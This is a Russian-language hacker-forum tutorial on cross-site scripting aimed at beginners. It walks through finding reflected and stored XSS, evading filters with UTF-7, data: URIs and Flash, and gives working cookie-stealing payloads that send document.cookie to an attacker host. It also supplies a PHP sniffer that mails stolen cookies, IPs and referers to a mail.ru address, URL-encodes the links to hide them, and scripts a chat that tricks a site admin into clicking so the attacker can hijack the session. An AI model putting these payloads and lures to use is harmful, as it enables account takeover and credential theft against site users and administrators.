Cross Site Scripting для новичков
Целью являеться объединение всех начальных тем про XSS. Статью писал от себя, накопленными мной знаниями, некоторые моменты были взяты с разных источников.
Кто выше МОА или знаком с XSS идем
сюда
Начнем с самого начала
Для обнаружения XSS необходимо во все поля вписать следующий скрипт
Если она не сработала, это еще не значит что ее там нет. Смотрим сорс странички и видим примерно следующие:
PHP код:
<a href="index.php?id=1<script>alert()</script>">2</a>
Из примера видно что файлу
index.php с параметром
id передаеться
1<script>alert()</script>. Это как раз то что нам надо. Для того что б скрипт сработал необходимо закрыть тег. Это можно сделать передав парамету
id значение
"><script>alert()</script>
После закрытия код выглядит вот так:
PHP код:
<a href="index.php?id=1"><script>alert()</script>">2</a>
и мы видим алерт, который сообщает нам что уязвимость присутствует. Иногда бывает так, что стандартный способ не проходит, тогда пробуем подставить
PHP код:
<IMG SRC="javascript:alert();
Но и это не всегда проходит, так как веб-мастера тоже не лохи, они фильтруют или вырезают спецальные символы. Для обхода можно использовать способ, который описал
Algol. Кодировать будем кодировкой
UTF-7.
В ней используються символы: +,-,!,буквы латинского алфавита и цыфры, а они обычно не фильтруються

Но к сажелению этот способ работает только под IE, и у вас должен стоять автовыбор кодировки.
Пример работы можете посмотреть
здесь
PHP код:
+ADw-script+AD4-alert();+ADw-/script+AD4-
< кодируется как
+ADw-
> кодируется как
+AD4-
Более подробно можно почитать
здесь
Ну что ж, а что с этим делать спросите вы? -
а вот что:
1. Зайдите на сайт где есть пасивная XSS
2. Зарегестрируйтесь на нем
3. Зайдите под своим акком
4. Впешите вот этот скрипт
PHP код:
<script>alert(document.cookie)</script>
в поле где была обнаружена XSS
Теперь выскочил не просто алерт, в нем записаны ваши куки. Но цель то наша не посмотреть наши куки,
а угнать чужие.
Делаеться это так:
1. Регестрируемся на бесплатном хостинге с поддержкой PHP
2. Создаем свой снифер
Я написал простенький снифер, думаю многм начинающим он очень пригодиться.
Для начала создадим главный файл для кода снифера и назовем его к примеру
s.php
В него впишем вот этот код
PHP код:
<?php
$ip = UrlDecode(getenv('REMOTE_ADDR'));
$referer = UrlDecode(getenv('HTTP_REFERER'));
$query = UrlDecode(getenv('QUERY_STRING'));
mail("vasemilo@mail.ru", "Cookie", "IP: $ip\n Adress: $referer\n Query: $query");
?>
Далее берем любую маленькую гиф картинку и называем ее
image.gif
И самое последнее создем файл .htaccess и вписуем в него
PHP код:
RewriteEngine On
RewriteRule image.gif s.php
Теперь при обращеннии к картинке будет выполняться наш php файл.
3. Наиболее ответственный момент, необходимо подсунуть нашей жертве скрипт, который крадет куки. Вот он:
PHP код:
<script>img = new Image(); img.src = "http://vash-site.ru/image.gif?"+document.cookie;</script>
Когда жертва пройдет по ссылке, его куки будут отправленны вам на почу. Это все конечно хорошо, но
ссылка со скриптом в таком виде будет выглядить очень подозрительной, для этого необходимо ее закодировать в url кодировку.
Теперь скрипт будет выгледить вот так:
PHP код:
%3C%73%63%72%69%70%74%3E%69%6D%67%20%3D%20%6E%65%77%20%49%6D%61%67%65%28%29%3B%20%69%6D%67%2E%73%72%63%20%3D%20%22%68%74%74%70%3A%2F%2F%76%61%73%68%2D%73%69%74%65%2E%72%75%2F%69%6D%61%67%65%2E%67%69%66%3F%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E
Но можно еще сделать по другому, а именно создать на своем сайте файлик
1.js в него вписать
PHP код:
img=new Image(); img.src="http://vash-site.ru/image.gif?"+document.cookie;
и давать уже ссылку на наш скрипт
PHP код:
http://www.site.ru/index.php?id=<script src=http://vash-site.ru/1.js></script>
или закодированный вариант
PHP код:
http://www.site.ru/index.php?id=%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%76%61%73%68%2D%73%69%74%65%2E%72%75%2F%31%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
как видите, такая ссылка менее подозрительно и впарить ее админу намного легче, вот пример:
Я: привет
админ: привет
Я: что это за бред у тебя с сайтом
PHP код:
http://site.ru/index.php?id=%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%76%61%73%68%2D%73%69%74%65%2E%72%75%2F%31%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
Очень короткий разговор, но очень надежный. Люди по своей натуре очень любопытны, а тем более когда дело косаеться ихней собственности.
Вот таким вот довольно простым способом мы угнали куки админа. Теперь остается их заменить, и вы админ =)
С активными XSS дело намного проще.
1. находим поле в гостевой (к примеру) которое не фильтрует спец-символы
2. вписуем туда наш скрипт
3. добавляем сообщение и видим, что скрипт срабатывает каждый раз, при заходе на страничку, т.е нам не надо давать страшные длинные ссылки с закодированным скриптом, достаточно просто дать ссылку адмну, (что б долго не ждать)
на его гостевую и куки у нас в руках =) (правда там куки не всегда есть)
На форумах все предстоит по другому. Разрешены только BB-теги. Достаточно неплохо о них написал Micr0b. Читать
тут
XSS нападения через протокол DATA
Наверняка многие из вас не слышали о данном методе атак.
Что б было понятно я расскажу о нем на примере.
1. Зайдите на forum.antichat.ru и авторизируйтесь
2. Удалите из строки браузера url
3. Впешите
PHP код:
data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+
4. И нажминте Enter
Как видите, в алерте отобразились наши куки =)
Смысл в том, что мы кодируем наш скрипт кодировкой base64, в данном случае <script>alert(document.cookie)</script>
и выполняем его. Прелесть этого вида атаки в том, что XSS есть даже когда на сайте стоят фильтры.
проверялась под
Firefox/2.0.0.4
XSS нападение через Flash-анимации
Заключаеться в следующем.
1. Находим сайт, где разрешено публичное добовление Flesh мультика
2. Откроем Macromedia Flash
3. Жмем правой кнопкой мыши по первому кадру и выбираем в появившемся меню Actions
4. Вписываем
PHP код:
getURL("javascript:alert()")
и сохраняем
Впринцыпе у нас получиться активная XSS необходимо просто для пользы alert() заменить на код снифера =)
PS 1.1 надеюсь статья поможет новичкам, старался расписать все доступным языком. пользовался матерьялами forum.antichat.ru, www.inattack.ru.
1.2 Прежде чем написать что это боян и копи-паст читаем пункт 1.1